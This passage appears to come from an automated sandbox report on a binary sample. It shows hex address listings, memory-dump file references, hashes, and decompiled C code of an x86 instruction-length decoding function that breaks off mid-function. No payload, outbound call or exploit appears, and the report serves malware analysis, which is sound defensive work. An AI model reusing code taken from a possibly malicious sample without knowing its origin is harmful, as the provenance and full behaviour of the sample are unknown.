                                                                                                                                              0x6ebd871a
                                                                                                                                              0x6ebd871c
                                                                                                                                              0x6ebd8728
                                                                                                                                              0x6ebd872c
                                                                                                                                              0x6ebd8731
                                                                                                                                              0x6ebd8735
                                                                                                                                              0x6ebd8b12
                                                                                                                                              0x6ebd8b26
                                                                                                                                              0x6ebd8b48
                                                                                                                                              0x6ebd8b4d
                                                                                                                                              0x6ebd8b4d
                                                                                                                                              0x6ebd874b
                                                                                                                                              0x6ebd8750
                                                                                                                                              0x6ebd8754
                                                                                                                                              0x6ebd8754
                                                                                                                                              0x6ebd8754
                                                                                                                                              0x6ebd8754
                                                                                                                                              0x6ebd8759
                                                                                                                                              0x6ebd875e
                                                                                                                                              0x6ebd8760
                                                                                                                                              0x6ebd8764
                                                                                                                                              0x6ebd876b
                                                                                                                                              0x6ebd8770
                                                                                                                                              0x6ebd8772
                                                                                                                                              0x6ebd8ad3
                                                                                                                                              0x6ebd8ae2
                                                                                                                                              0x6ebd8afb
                                                                                                                                              0x6ebd8b00
                                                                                                                                              0x6ebd8b00
                                                                                                                                              0x6ebd8785
                                                                                                                                              0x6ebd878a
                                                                                                                                              0x6ebd878e
                                                                                                                                              0x6ebd878e
                                                                                                                                              0x6ebd878e
                                                                                                                                              0x6ebd87a0
                                                                                                                                              0x6ebd87c1
                                                                                                                                              0x6ebd87c9
                                                                                                                                              0x6ebd87d7
                                                                                                                                              0x6ebd87f5
                                                                                                                                              0x6ebd87fb
                                                                                                                                              0x6ebd87fb
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd870c
                                                                                                                                              0x6ebd85a4
                                                                                                                                              0x6ebd85a4
                                                                                                                                              0x6ebd85a6
                                                                                                                                              0x6ebd85ad
                                                                                                                                              0x6ebd85bb
                                                                                                                                              0x6ebd85bd
                                                                                                                                              0x6ebd85c1
                                                                                                                                              0x6ebd85c3
                                                                                                                                              0x6ebd85c5
                                                                                                                                              0x6ebd8600
                                                                                                                                              0x6ebd860f
                                                                                                                                              0x6ebd8611
                                                                                                                                              0x6ebd8613
                                                                                                                                              0x6ebd8631
                                                                                                                                              0x6ebd8633
                                                                                                                                              0x6ebd8635
                                                                                                                                              0x6ebd8647
                                                                                                                                              0x6ebd8665
                                                                                                                                              0x6ebd866e
                                                                                                                                              0x6ebd8671
                                                                                                                                              0x6ebd867f
                                                                                                                                              0x6ebd8690
                                                                                                                                              0x6ebd86ae
                                                                                                                                              0x6ebd86b0
                                                                                                                                              0x6ebd86b4
                                                                                                                                              0x6ebd86b4
                                                                                                                                              0x6ebd86b4
                                                                                                                                              0x6ebd8635
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd8613
                                                                                                                                              0x6ebd85cb
                                                                                                                                              0x6ebd85cb
                                                                                                                                              0x6ebd85d0
                                                                                                                                              0x6ebd85d7
                                                                                                                                              0x6ebd85e6
                                                                                                                                              0x6ebd85ed
                                                                                                                                              0x6ebd85ef
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd85fb
                                                                                                                                              0x6ebd85fc
                                                                                                                                              0x6ebd85fe
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd85fe
                                                                                                                                              0x6ebd85f1
                                                                                                                                              0x6ebd85f4
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd86b6
                                                                                                                                              0x6ebd86b6
                                                                                                                                              0x6ebd86b7
                                                                                                                                              0x6ebd86b7
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd8497
                                                                                                                                              0x6ebd8497
                                                                                                                                              0x6ebd8497
                                                                                                                                              0x6ebd8499
                                                                                                                                              0x6ebd84a0
                                                                                                                                              0x6ebd84ae
                                                                                                                                              0x6ebd84b0
                                                                                                                                              0x6ebd84b4
                                                                                                                                              0x6ebd84b6
                                                                                                                                              0x6ebd84e2
                                                                                                                                              0x6ebd84e6
                                                                                                                                              0x6ebd84eb
                                                                                                                                              0x6ebd84f0
                                                                                                                                              0x6ebd84f4
                                                                                                                                              0x6ebd84f8
                                                                                                                                              0x6ebd84ff
                                                                                                                                              0x6ebd8504
                                                                                                                                              0x6ebd8506
                                                                                                                                              0x6ebd8a95
                                                                                                                                              0x6ebd8aa4
                                                                                                                                              0x6ebd8ac3
                                                                                                                                              0x6ebd8ac8
                                                                                                                                              0x6ebd8ac8
                                                                                                                                              0x6ebd8519
                                                                                                                                              0x6ebd851e
                                                                                                                                              0x6ebd8522
                                                                                                                                              0x6ebd8522
                                                                                                                                              0x6ebd8522
                                                                                                                                              0x6ebd8533
                                                                                                                                              0x6ebd8535
                                                                                                                                              0x6ebd8537
                                                                                                                                              0x6ebd8548
                                                                                                                                              0x6ebd8548
                                                                                                                                              0x6ebd854d
                                                                                                                                              0x6ebd8552
                                                                                                                                              0x6ebd8556
                                                                                                                                              0x6ebd855b
                                                                                                                                              0x6ebd8562
                                                                                                                                              0x6ebd8567
                                                                                                                                              0x6ebd8569
                                                                                                                                              0x6ebd8a57
                                                                                                                                              0x6ebd8a63
                                                                                                                                              0x6ebd8a7d
                                                                                                                                              0x6ebd8a82
                                                                                                                                              0x6ebd8a82
                                                                                                                                              0x6ebd857f
                                                                                                                                              0x6ebd8584
                                                                                                                                              0x6ebd8588
                                                                                                                                              0x6ebd8588
                                                                                                                                              0x6ebd8588
                                                                                                                                              0x6ebd8588
                                                                                                                                              0x6ebd858b
                                                                                                                                              0x6ebd858b
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd858b
                                                                                                                                              0x6ebd84ba
                                                                                                                                              0x6ebd84ba
                                                                                                                                              0x6ebd84bc
                                                                                                                                              0x6ebd84c8
                                                                                                                                              0x6ebd84cf
                                                                                                                                              0x6ebd84d1
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd84dd
                                                                                                                                              0x6ebd84de
                                                                                                                                              0x6ebd84e0
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd84e0
                                                                                                                                              0x6ebd84d3
                                                                                                                                              0x6ebd84d6
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd858c
                                                                                                                                              0x6ebd8590
                                                                                                                                              0x6ebd8591
                                                                                                                                              0x6ebd8591
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebd8499
                                                                                                                                              0x6ebd8491

                                                                                                                                              Strings
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID:
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 0-3916222277
                                                                                                                                              • Opcode ID: 9a13bbcdb8a7fdc555e9a0211e3fd7581dabdceb63bb39cc66d0c75505442aad
                                                                                                                                              • Instruction ID: 80060b6040f514f377f39a0fb79a891494b546af5bc29954346c72b59da4d0fe
                                                                                                                                              • Opcode Fuzzy Hash: 9a13bbcdb8a7fdc555e9a0211e3fd7581dabdceb63bb39cc66d0c75505442aad
                                                                                                                                              • Instruction Fuzzy Hash: F01291716183859FC715DFA4C990AAEBBE9EF84718F105D2DE599872B1DB309C08CF42
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 100%
                                                                                                                                              			E6EBE9370(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
                                                                                                                                              				signed int _t250;
                                                                                                                                              				signed char _t251;
                                                                                                                                              				signed char* _t254;
                                                                                                                                              				char _t255;
                                                                                                                                              				signed short _t256;
                                                                                                                                              				char _t257;
                                                                                                                                              				signed short _t260;
                                                                                                                                              				signed int _t261;
                                                                                                                                              				signed int _t262;
                                                                                                                                              				void* _t264;
                                                                                                                                              				void* _t272;
                                                                                                                                              				void* _t273;
                                                                                                                                              				signed short* _t274;
                                                                                                                                              				signed char _t275;
                                                                                                                                              				signed int _t277;
                                                                                                                                              				signed int _t278;
                                                                                                                                              				void* _t282;
                                                                                                                                              				signed int _t288;
                                                                                                                                              				unsigned int _t290;
                                                                                                                                              				signed int _t292;
                                                                                                                                              				signed int _t293;
                                                                                                                                              				signed int _t294;
                                                                                                                                              				signed int _t295;
                                                                                                                                              				unsigned int _t296;
                                                                                                                                              				unsigned int _t297;
                                                                                                                                              				signed int _t299;
                                                                                                                                              				unsigned int _t301;
                                                                                                                                              				signed char _t302;
                                                                                                                                              				signed int _t304;
                                                                                                                                              				signed char _t307;
                                                                                                                                              				signed char _t308;
                                                                                                                                              				signed int _t309;
                                                                                                                                              				void* _t312;
                                                                                                                                              				void* _t313;
                                                                                                                                              				signed int _t314;
                                                                                                                                              				signed int _t316;
                                                                                                                                              				signed int _t319;
                                                                                                                                              				signed int _t321;
                                                                                                                                              				signed int _t338;
                                                                                                                                              				signed int _t339;
                                                                                                                                              				signed int _t343;
                                                                                                                                              				signed int _t345;
                                                                                                                                              				unsigned int* _t346;
                                                                                                                                              				unsigned int _t354;
                                                                                                                                              				signed int _t355;
                                                                                                                                              				void* _t357;
                                                                                                                                              				signed int _t364;
                                                                                                                                              				signed int _t366;
                                                                                                                                              				signed int _t383;
                                                                                                                                              				signed int _t388;
                                                                                                                                              				signed int _t391;
                                                                                                                                              				signed int _t395;
                                                                                                                                              				signed int _t396;
                                                                                                                                              				signed int _t397;
                                                                                                                                              				signed int _t398;
                                                                                                                                              				signed int _t399;
                                                                                                                                              				signed int _t400;
                                                                                                                                              				signed int _t403;
                                                                                                                                              				signed int _t408;
                                                                                                                                              				signed int _t411;
                                                                                                                                              				signed int _t412;
                                                                                                                                              				signed int _t413;
                                                                                                                                              				signed int _t417;
                                                                                                                                              				signed int _t419;
                                                                                                                                              				signed int _t424;
                                                                                                                                              				void* _t426;
                                                                                                                                              				signed int* _t427;
                                                                                                                                              
                                                                                                                                              				 *((intOrPtr*)(_t426 + 0x24)) = __edx;
                                                                                                                                              				 *((intOrPtr*)(_t426 + 0x10)) = __ecx;
                                                                                                                                              				 *((intOrPtr*)(_t426 + 0x14)) = __ecx;
                                                                                                                                              				_t274 =  *(_t426 + 0x48);
                                                                                                                                              				E6EBE3698( *(_t426 + 0x48), 0, 0x1c);
                                                                                                                                              				_t427 = _t426 + 0xc;
                                                                                                                                              				_t338 = 0;
                                                                                                                                              				_t282 = 0x10;
                                                                                                                                              				do {
                                                                                                                                              					_t250 =  *_t274 & 0x000000ff;
                                                                                                                                              					_t274 =  &(_t274[0]);
                                                                                                                                              					if(_t250 == 0xf3) {
                                                                                                                                              						_t383 = _t427[0x10];
                                                                                                                                              						_t339 = _t338 | 0x00000004;
                                                                                                                                              						L17:
                                                                                                                                              						_t338 = _t339 & 0x000000ff;
                                                                                                                                              						 *(_t383 + 1) = _t250;
                                                                                                                                              						goto L18;
                                                                                                                                              					}
                                                                                                                                              					if(_t250 == 0xf2) {
                                                                                                                                              						_t383 = _t427[0x10];
                                                                                                                                              						_t339 = _t338 | 0x00000002;
                                                                                                                                              						goto L17;
                                                                                                                                              					}
                                                                                                                                              					if(_t250 == 0xf0) {
                                                                                                                                              						_t338 = (_t338 | 0x00000020) & 0x000000ff;
                                                                                                                                              						 *(_t427[0x10] + 2) = _t250;
                                                                                                                                              						goto L18;
                                                                                                                                              					}
                                                                                                                                              					if(_t250 == 0x26 || _t250 == 0x2e || _t250 == 0x36 || _t250 == 0x3e) {
                                                                                                                                              						L13:
                                                                                                                                              						_t338 = (_t338 | 0x00000040) & 0x000000ff;
                                                                                                                                              						 *(_t427[0x10] + 3) = _t250;
                                                                                                                                              					} else {
                                                                                                                                              						_t6 = _t250 - 0x64; // -100
                                                                                                                                              						if(_t6 <= 1) {
                                                                                                                                              							goto L13;
                                                                                                                                              						}
                                                                                                                                              						if(_t250 == 0x66) {
                                                                                                                                              							_t338 = (_t338 | 0x00000008) & 0x000000ff;
                                                                                                                                              							 *(_t427[0x10] + 4) = _t250;
                                                                                                                                              							goto L18;
                                                                                                                                              						}
                                                                                                                                              						if(_t250 != 0x67) {
                                                                                                                                              							break;
                                                                                                                                              						} else {
                                                                                                                                              							_t338 = _t338 | 0x00000010;
                                                                                                                                              							 *(_t427[0x10] + 5) = _t250;
                                                                                                                                              							goto L18;
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					L18:
                                                                                                                                              					_t282 = _t282 + 0xff;
                                                                                                                                              				} while (_t282 != 0);
                                                                                                                                              				_t388 = _t427[0x10];
                                                                                                                                              				_t285 =  !=  ? _t338 : 1;
                                                                                                                                              				_t343 = _t338 << 0x17;
                                                                                                                                              				 *(_t388 + 6) = _t250;
                                                                                                                                              				 *_t427 =  !=  ? _t338 : 1;
                                                                                                                                              				 *(_t388 + 0x18) = _t343;
                                                                                                                                              				if(_t250 == 0xf) {
                                                                                                                                              					_t250 =  *_t274 & 0x000000ff;
                                                                                                                                              					_t274 =  &(_t274[0]);
                                                                                                                                              					_t427[5] = _t250;
                                                                                                                                              					 *(_t427[0x10] + 7) = _t250;
                                                                                                                                              					_t427[2] = _t427[4] + 0x4a;
                                                                                                                                              				} else {
                                                                                                                                              					_t22 = _t250 - 0xa0; // -160
                                                                                                                                              					_t427[5] =  *(_t427[0x10] + 7) & 0x000000ff;
                                                                                                                                              					if(_t22 <= 3) {
                                                                                                                                              						_t424 =  *_t427;
                                                                                                                                              						_t382 =  !=  ? (_t424 | 0x00000008) & 0x000000ff : _t424 & 0x000000f7;
                                                                                                                                              						 *_t427 =  !=  ? (_t424 | 0x00000008) & 0x000000ff : _t424 & 0x000000f7;
                                                                                                                                              					}
                                                                                                                                              				}
                                                                                                                                              				_t354 = _t250 >> 2;
                                                                                                                                              				_t391 = _t250 & 0x00000003;
                                                                                                                                              				_t345 = _t427[2];
                                                                                                                                              				_t427[3] = _t391;
                                                                                                                                              				_t427[6] = _t354;
                                                                                                                                              				_t288 =  *(( *(_t354 + _t345) & 0x000000ff) + _t391 + _t345) & 0x000000ff;
                                                                                                                                              				_t427[1] = _t288;
                                                                                                                                              				if(_t288 == 0xff) {
                                                                                                                                              					_t343 = _t343 + 0x3000;
                                                                                                                                              					_t288 = 0 | (_t250 & 0xfffffffd) == 0x00000024;
                                                                                                                                              					 *(_t427[0x10] + 0x18) = _t343;
                                                                                                                                              					_t427[1] = _t288;
                                                                                                                                              				}
                                                                                                                                              				if((_t427[1] & 0x00000080) != 0) {
                                                                                                                                              					_t290 =  *((_t288 & 0x0000007f) + _t345) & 0x0000ffff;
                                                                                                                                              					_t427[1] = _t290;
                                                                                                                                              					_t395 = _t290 >> 8;
                                                                                                                                              				} else {
                                                                                                                                              					_t395 = 0;
                                                                                                                                              				}
                                                                                                                                              				if(_t427[5] != 0 && ( *_t427 &  *(( *(_t427[6] + _t427[4] + 0x130) & 0x000000ff) + _t427[3] + _t427[4] + 0x130) & 0x000000ff) != 0) {
                                                                                                                                              					_t343 = _t343 | 0x00003000;
                                                                                                                                              					 *(_t427[0x10] + 0x18) = _t343;
                                                                                                                                              				}
                                                                                                                                              				if((_t427[1] & 0x00000001) == 0) {
                                                                                                                                              					if(( *_t427 & 0x00000020) != 0) {
                                                                                                                                              						_t343 = _t343 | 0x00009000;
                                                                                                                                              						 *(_t427[0x10] + 0x18) = _t343;
                                                                                                                                              					}
                                                                                                                                              					goto L114;
                                                                                                                                              				} else {
                                                                                                                                              					_t355 = _t427[0x10];
                                                                                                                                              					_t343 = _t343 | 0x00000001;
                                                                                                                                              					 *(_t355 + 0x18) = _t343;
                                                                                                                                              					_t296 =  *_t274 & 0x000000ff;
                                                                                                                                              					_t346 =  &(_t427[6]);
                                                                                                                                              					 *_t346 = _t296;
                                                                                                                                              					 *(_t355 + 8) = _t296;
                                                                                                                                              					_t297 = _t296 >> 6;
                                                                                                                                              					_t427[3] = _t297;
                                                                                                                                              					 *(_t355 + 9) = _t297;
                                                                                                                                              					_t299 =  *_t346 & 0x00000007;
                                                                                                                                              					_t427[7] = _t299;
                                                                                                                                              					 *(_t355 + 0xb) = _t299;
                                                                                                                                              					_t301 =  *_t346 & 0x0000003f;
                                                                                                                                              					 *_t346 = _t301;
                                                                                                                                              					_t302 = _t301 >> 3;
                                                                                                                                              					_t427[2] = _t302;
                                                                                                                                              					 *(_t355 + 0xa) = _t302;
                                                                                                                                              					if(_t395 != 0 && (_t395 << _t302 & 0x00000080) != 0) {
                                                                                                                                              						_t343 = _t343 | 0x00003000;
                                                                                                                                              						 *(_t427[0x10] + 0x18) = _t343;
                                                                                                                                              					}
                                                                                                                                              					if(_t427[5] == 0) {
                                                                                                                                              						_t80 = _t250 - 0xd9; // -217
                                                                                                                                              						if(_t80 <= 6) {
                                                                                                                                              							_t81 = _t250 + 0x27; // 0x27
                                                                                                                                              							_t417 = _t81 & 0x000000ff;
                                                                                                                                              							if(_t427[3] != 3) {
                                                                                                                                              								_t419 = ( *(_t417 + _t427[4] + 0xf1) & 0x000000ff) << _t427[2];
                                                                                                                                              							} else {
                                                                                                                                              								_t419 = ( *(_t427[4] + _t427[2] + 0xf8 + _t417 * 8) & 0x000000ff) << _t427[7];
                                                                                                                                              							}
                                                                                                                                              							if((_t419 & 0x00000080) != 0) {
                                                                                                                                              								_t343 = _t343 | 0x00003000;
                                                                                                                                              								 *(_t427[0x10] + 0x18) = _t343;
                                                                                                                                              							}
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					if(( *_t427 & 0x00000020) == 0) {
                                                                                                                                              						L52:
                                                                                                                                              						if(_t427[5] == 0) {
                                                                                                                                              							if(_t250 == 0x8c) {
                                                                                                                                              								L85:
                                                                                                                                              								if(_t427[2] <= 5) {
                                                                                                                                              									L87:
                                                                                                                                              									_t427[5] = _t274[0];
                                                                                                                                              									_t427[4] =  &(_t274[1]);
                                                                                                                                              									if(_t427[2] <= 1) {
                                                                                                                                              										if(_t250 != 0xf6) {
                                                                                                                                              											_t309 = _t427[1];
                                                                                                                                              											_t310 =  ==  ? _t309 | 0xffffff90 : _t309;
                                                                                                                                              											_t427[1] =  ==  ? _t309 | 0xffffff90 : _t309;
                                                                                                                                              										} else {
                                                                                                                                              											_t427[1] = _t427[1] | 0xffffff82;
                                                                                                                                              										}
                                                                                                                                              									}
                                                                                                                                              									if(_t427[3] == 0) {
                                                                                                                                              										if(( *_t427 & 0x00000010) == 0) {
                                                                                                                                              											_t264 = 4;
                                                                                                                                              											_t357 =  ==  ? _t264 : 0;
                                                                                                                                              										} else {
                                                                                                                                              											_t273 = 2;
                                                                                                                                              											_t357 =  ==  ? _t273 : 0;
                                                                                                                                              										}
                                                                                                                                              									} else {
                                                                                                                                              										if(_t427[3] == 1) {
                                                                                                                                              											_t357 = 1;
                                                                                                                                              										} else {
                                                                                                                                              											if(_t427[3] == 2) {
                                                                                                                                              												_t357 = (( !( *_t427) & 0x00000010) >> 3) + 2;
                                                                                                                                              											} else {
                                                                                                                                              												_t357 = 0;
                                                                                                                                              											}
                                                                                                                                              										}
                                                                                                                                              									}
                                                                                                                                              									if(_t427[3] != 3 && _t427[7] == 4 && ( *_t427 & 0x00000010) == 0) {
                                                                                                                                              										_t307 = _t427[5];
                                                                                                                                              										_t343 = _t343 | 0x00000002;
                                                                                                                                              										_t403 = _t427[0x10];
                                                                                                                                              										_t427[4] =  &(_t274[1]);
                                                                                                                                              										 *(_t403 + 0xc) = _t307;
                                                                                                                                              										_t308 = _t307 & 0x00000007;
                                                                                                                                              										 *(_t403 + 0x18) = _t343;
                                                                                                                                              										 *(_t403 + 0xd) = _t307 >> 6;
                                                                                                                                              										 *(_t403 + 0xe) = (_t307 & 0x0000003f) >> 3;
                                                                                                                                              										 *(_t403 + 0xf) = _t308;
                                                                                                                                              										if(_t308 == 5) {
                                                                                                                                              											_t272 = 4;
                                                                                                                                              											_t357 =  ==  ? _t272 : _t357;
                                                                                                                                              										}
                                                                                                                                              									}
                                                                                                                                              									if(_t357 == 1) {
                                                                                                                                              										_t304 = _t427[0x10];
                                                                                                                                              										_t343 = _t343 | 0x00000020;
                                                                                                                                              										 *(_t304 + 0x18) = _t343;
                                                                                                                                              										 *((char*)(_t304 + 0x14)) =  *(_t427[4] - 1);
                                                                                                                                              									} else {
                                                                                                                                              										if(_t357 == 2) {
                                                                                                                                              											_t277 = _t427[0x10];
                                                                                                                                              											_t343 = _t343 | 0x00000040;
                                                                                                                                              											 *(_t277 + 0x18) = _t343;
                                                                                                                                              											 *((short*)(_t277 + 0x14)) =  *(_t427[4] - 1) & 0x0000ffff;
                                                                                                                                              										} else {
                                                                                                                                              											if(_t357 == 4) {
                                                                                                                                              												_t278 = _t427[0x10];
                                                                                                                                              												_t343 = _t343 | 0x00000080;
                                                                                                                                              												 *(_t278 + 0x18) = _t343;
                                                                                                                                              												 *(_t278 + 0x14) =  *(_t427[4] - 1);
                                                                                                                                              											}
                                                                                                                                              										}
                                                                                                                                              									}
                                                                                                                                              									_t195 = _t427[4] - 1; // -1
                                                                                                                                              									_t274 = _t357 + _t195;
                                                                                                                                              									L114:
                                                                                                                                              									_t251 = _t427[1];
                                                                                                                                              									_t292 = _t251 & 0x00000040;
                                                                                                                                              									if((_t251 & 0x00000010) == 0) {
                                                                                                                                              										L121:
                                                                                                                                              										if((_t427[1] & 0x00000004) == 0) {
                                                                                                                                              											L129:
                                                                                                                                              											if((_t427[1] & 0x00000002) != 0) {
                                                                                                                                              												_t396 = _t427[0x10];
                                                                                                                                              												_t343 = _t343 | 0x00000004;
                                                                                                                                              												 *(_t396 + 0x18) = _t343;
                                                                                                                                              												_t257 =  *_t274;
                                                                                                                                              												_t274 =  &(_t274[0]);
                                                                                                                                              												 *((char*)(_t396 + 0x10)) = _t257;
                                                                                                                                              											}
                                                                                                                                              											if(_t292 == 0) {
                                                                                                                                              												if((_t427[1] & 0x00000020) != 0) {
                                                                                                                                              													_t293 = _t427[0x10];
                                                                                                                                              													_t343 = _t343 | 0x00000104;
                                                                                                                                              													 *(_t293 + 0x18) = _t343;
                                                                                                                                              													_t255 =  *_t274;
                                                                                                                                              													_t274 =  &(_t274[0]);
                                                                                                                                              													 *((char*)(_t293 + 0x10)) = _t255;
                                                                                                                                              												}
                                                                                                                                              												goto L135;
                                                                                                                                              											} else {
                                                                                                                                              												L132:
                                                                                                                                              												_t294 = _t427[0x10];
                                                                                                                                              												_t343 = _t343 | 0x00000110;
                                                                                                                                              												 *(_t294 + 0x18) = _t343;
                                                                                                                                              												_t256 =  *_t274;
                                                                                                                                              												_t274 =  &(_t274[2]);
                                                                                                                                              												 *(_t294 + 0x10) = _t256;
                                                                                                                                              												L135:
                                                                                                                                              												_t275 = _t274 - _t427[0xf];
                                                                                                                                              												if(_t275 <= 0xf) {
                                                                                                                                              													 *(_t427[0x10]) = _t275;
                                                                                                                                              												} else {
                                                                                                                                              													_t254 = _t427[0x10];
                                                                                                                                              													_t275 = 0xf;
                                                                                                                                              													_t254[0x18] = _t343 | 0x00005000;
                                                                                                                                              													 *_t254 = _t275;
                                                                                                                                              												}
                                                                                                                                              												return _t275 & 0x000000ff;
                                                                                                                                              											}
                                                                                                                                              										}
                                                                                                                                              										if((_t343 & 0x00000010) == 0) {
                                                                                                                                              											if((_t343 & 0x00000008) == 0) {
                                                                                                                                              												_t397 = _t427[0x10];
                                                                                                                                              												_t343 = _t343 | 0x00000008;
                                                                                                                                              												 *(_t397 + 0x18) = _t343;
                                                                                                                                              												 *((short*)(_t397 + 0x10)) =  *_t274 & 0x0000ffff;
                                                                                                                                              												L128:
                                                                                                                                              												_t274 =  &(_t274[1]);
                                                                                                                                              												goto L129;
                                                                                                                                              											}
                                                                                                                                              											_t398 = _t427[0x10];
                                                                                                                                              											_t343 = _t343 | 0x00000800;
                                                                                                                                              											L126:
                                                                                                                                              											 *(_t398 + 0x18) = _t343;
                                                                                                                                              											 *((short*)(_t398 + 0x14)) =  *_t274 & 0x0000ffff;
                                                                                                                                              											goto L128;
                                                                                                                                              										}
                                                                                                                                              										_t398 = _t427[0x10];
                                                                                                                                              										_t343 = _t343 | 0x00000008;
                                                                                                                                              										goto L126;
                                                                                                                                              									}
                                                                                                                                              									if(_t292 == 0) {
                                                                                                                                              										if(( *_t427 & 0x00000008) == 0) {
                                                                                                                                              											_t399 = _t427[0x10];
                                                                                                                                              											_t343 = _t343 | 0x00000010;
                                                                                                                                              											 *(_t399 + 0x18) = _t343;
                                                                                                                                              											_t260 =  *_t274;
                                                                                                                                              											_t274 =  &(_t274[2]);
                                                                                                                                              											 *(_t399 + 0x10) = _t260;
                                                                                                                                              										} else {
                                                                                                                                              											_t400 = _t427[0x10];
                                                                                                                                              											_t343 = _t343 | 0x00000008;
                                                                                                                                              											 *(_t400 + 0x18) = _t343;
                                                                                                                                              											_t261 =  *_t274 & 0x0000ffff;
                                                                                                                                              											_t274 =  &(_t274[1]);
                                                                                                                                              											 *(_t400 + 0x10) = _t261;
                                                                                                                                              										}
                                                                                                                                              										goto L121;
                                                                                                                                              									}
                                                                                                                                              									if(( *_t427 & 0x00000008) == 0) {
                                                                                                                                              										goto L132;
                                                                                                                                              									}
                                                                                                                                              									_t295 = _t427[0x10];
                                                                                                                                              									_t343 = _t343 | 0x00000108;
                                                                                                                                              									 *(_t295 + 0x18) = _t343;
                                                                                                                                              									_t262 =  *_t274 & 0x0000ffff;
                                                                                                                                              									_t274 =  &(_t274[1]);
                                                                                                                                              									 *(_t295 + 0x10) = _t262;
                                                                                                                                              									goto L135;
                                                                                                                                              								}
                                                                                                                                              								L86:
                                                                                                                                              								_t343 = _t343 | 0x00011000;
                                                                                                                                              								 *(_t427[0x10] + 0x18) = _t343;
                                                                                                                                              								goto L87;
                                                                                                                                              							}
                                                                                                                                              							if(_t250 != 0x8e) {
                                                                                                                                              								L66:
                                                                                                                                              								if(_t427[3] != 3) {
                                                                                                                                              									if(_t427[5] == 0) {
                                                                                                                                              										goto L87;
                                                                                                                                              									}
                                                                                                                                              									if(_t250 == 0xd7 || _t250 == 0xf7) {
                                                                                                                                              										L83:
                                                                                                                                              										if(( *_t427 & 0x00000009) != 0) {
                                                                                                                                              											goto L86;
                                                                                                                                              										}
                                                                                                                                              									} else {
                                                                                                                                              										if(_t250 == 0xd6) {
                                                                                                                                              											if(( *_t427 & 0x00000006) != 0) {
                                                                                                                                              												goto L86;
                                                                                                                                              											}
                                                                                                                                              											goto L87;
                                                                                                                                              										}
                                                                                                                                              										if(_t250 == 0xc5) {
                                                                                                                                              											goto L86;
                                                                                                                                              										}
                                                                                                                                              										if(_t250 == 0x50) {
                                                                                                                                              											goto L83;
                                                                                                                                              										}
                                                                                                                                              									}
                                                                                                                                              									goto L87;
                                                                                                                                              								}
                                                                                                                                              								_t364 = _t427[4];
                                                                                                                                              								_t312 = _t364 + 0x1da;
                                                                                                                                              								_t366 =  !=  ? _t312 : _t364 + 0x1cb;
                                                                                                                                              								_t313 =  !=  ? _t427[9] + _t364 : _t312;
                                                                                                                                              								_t427[4] = _t366;
                                                                                                                                              								if(_t366 == _t313) {
                                                                                                                                              									goto L87;
                                                                                                                                              								} else {
                                                                                                                                              									goto L68;
                                                                                                                                              								}
                                                                                                                                              								while(1) {
                                                                                                                                              									L68:
                                                                                                                                              									_t408 = _t427[4];
                                                                                                                                              									if(_t250 ==  *_t408) {
                                                                                                                                              										break;
                                                                                                                                              									}
                                                                                                                                              									_t411 = _t408 + 3;
                                                                                                                                              									_t427[4] = _t411;
                                                                                                                                              									if(_t411 != _t313) {
                                                                                                                                              										continue;
                                                                                                                                              									}
                                                                                                                                              									goto L87;
                                                                                                                                              								}
                                                                                                                                              								_t314 = _t408;
                                                                                                                                              								if(( *_t427 &  *(_t314 + 1) & 0x000000ff) == 0) {
                                                                                                                                              									goto L87;
                                                                                                                                              								}
                                                                                                                                              								if((( *(_t314 + 2) & 0x000000ff) << _t427[2] & 0x00000080) == 0) {
                                                                                                                                              									goto L86;
                                                                                                                                              								}
                                                                                                                                              								goto L87;
                                                                                                                                              							}
                                                                                                                                              							if(_t427[2] == 1) {
                                                                                                                                              								goto L86;
                                                                                                                                              							}
                                                                                                                                              							goto L85;
                                                                                                                                              						}
                                                                                                                                              						if(_t250 == 0x20 || _t250 == 0x22) {
                                                                                                                                              							_t316 = 3;
                                                                                                                                              							_t427[3] = _t316;
                                                                                                                                              							if(_t427[2] > 4 || _t427[2] == 1) {
                                                                                                                                              								goto L86;
                                                                                                                                              							} else {
                                                                                                                                              								goto L87;
                                                                                                                                              							}
                                                                                                                                              						} else {
                                                                                                                                              							if(_t250 == 0x21 || _t250 == 0x23) {
                                                                                                                                              								_t319 = 3;
                                                                                                                                              								_t427[3] = _t319;
                                                                                                                                              								if((_t427[6] & 0xfffffff0) == 0x20) {
                                                                                                                                              									goto L86;
                                                                                                                                              								}
                                                                                                                                              								goto L87;
                                                                                                                                              							} else {
                                                                                                                                              								goto L66;
                                                                                                                                              							}
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					if(_t427[3] == 3) {
                                                                                                                                              						L51:
                                                                                                                                              						_t343 = _t343 | 0x00009000;
                                                                                                                                              						 *(_t427[0x10] + 0x18) = _t343;
                                                                                                                                              						goto L52;
                                                                                                                                              					}
                                                                                                                                              					_t412 = _t427[4];
